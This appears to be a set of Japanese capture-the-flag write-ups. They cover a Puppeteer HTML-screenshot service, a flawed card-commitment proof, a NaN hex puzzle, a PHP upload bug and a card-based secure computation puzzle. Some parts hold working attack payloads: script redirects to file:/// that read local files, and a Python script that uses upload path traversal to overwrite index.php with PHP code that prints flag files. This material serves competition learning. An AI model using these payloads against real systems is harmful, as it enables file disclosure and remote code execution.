Index
入力した HTML は /tmp/<uuid>.html として保存され、Puppeteer が file:// でそのローカルファイルを開いてスクリーンショットを返してくれる。ユーザー HTML 側から file:/// を開かせると、コンテナの root directory listing がそのまま見え、/flag-xxxxxxxx.txt という実ファイル名まで分かる。ファイル名でもう一度開く。
<script>location="file:///"</script>
<script>location="file:///{name}"</script>
issue では異色ペアしか受け付けないが、proof の中身はカードの実体ではなくrankだけをcommit している。
つまり proof は rank の並びしか bind していない。
そのため、異色の A/K ペアで取った proof を、同じ rank 構造を持つ同色ペアにそのまま使い回せる。
たとえば issue(0,3) で得た proof を verify(0,2) に入れると、
proof は通るが is_diff_color は偽なので、そのままフラグ分岐に入る。
入力は 16 桁の hex で、deadbeef を部分文字列として含み、さらにその 64-bit 値を double として解釈したとき isnan() を満たせばよい。IEEE 754 の倍精度では exponent が all 1 で、fraction が 0 でなければ NaN なので、たとえば 0x7ff8deadbeef0000 はその条件をそのまま満たす。
$_FILES['file']['full_path'] をそのまま /var/www/uploads/ に連結して move_uploaded_file() しているので、multipart の filename を細工すると path traversal で upload 先を任意の既存ディレクトリ配下へずらせる。
/var/www/html/index.php に glob('/flag-*') を読む PHP を上書きし、その後 / を開き直すと flag がそのまま表示される。
import time
import requests
url = "<http://34.170.146.252:52230>"
payload = b'<?php foreach (glob("/flag-*") as $f) { echo file_get_contents($f); } ?>'
requests.post(
url,
files={"file": ("../html/index.php", payload, "application/x-php")},
)
time.sleep(1)
print(requests.get(url).text)
秘密計算の入門として出題。
row(a, b) は Alice/Bob の好みを隠しているように見えるが、
YES='♡♧', NO='♧♡', MID='♡' から作った5文字列を回転しているだけ。
a and b が真のときだけ、2つの ♧ が円環上で隣接する。
したがって Open cards: の5文字を読み、
隣接する ♧♧ が通常位置または末尾-先頭にあれば y、なければ n を返せば10問すべて通る。
<aside> 💡
このネタの面白いところは、一方がNoの場合に相手がYes/Noどちらか判別不能になるので 相手は好きだった/嫌いだった という心理的な不安を消すのに有効なところです。 あとトランプ持ってればどこでも遊べます。
</aside>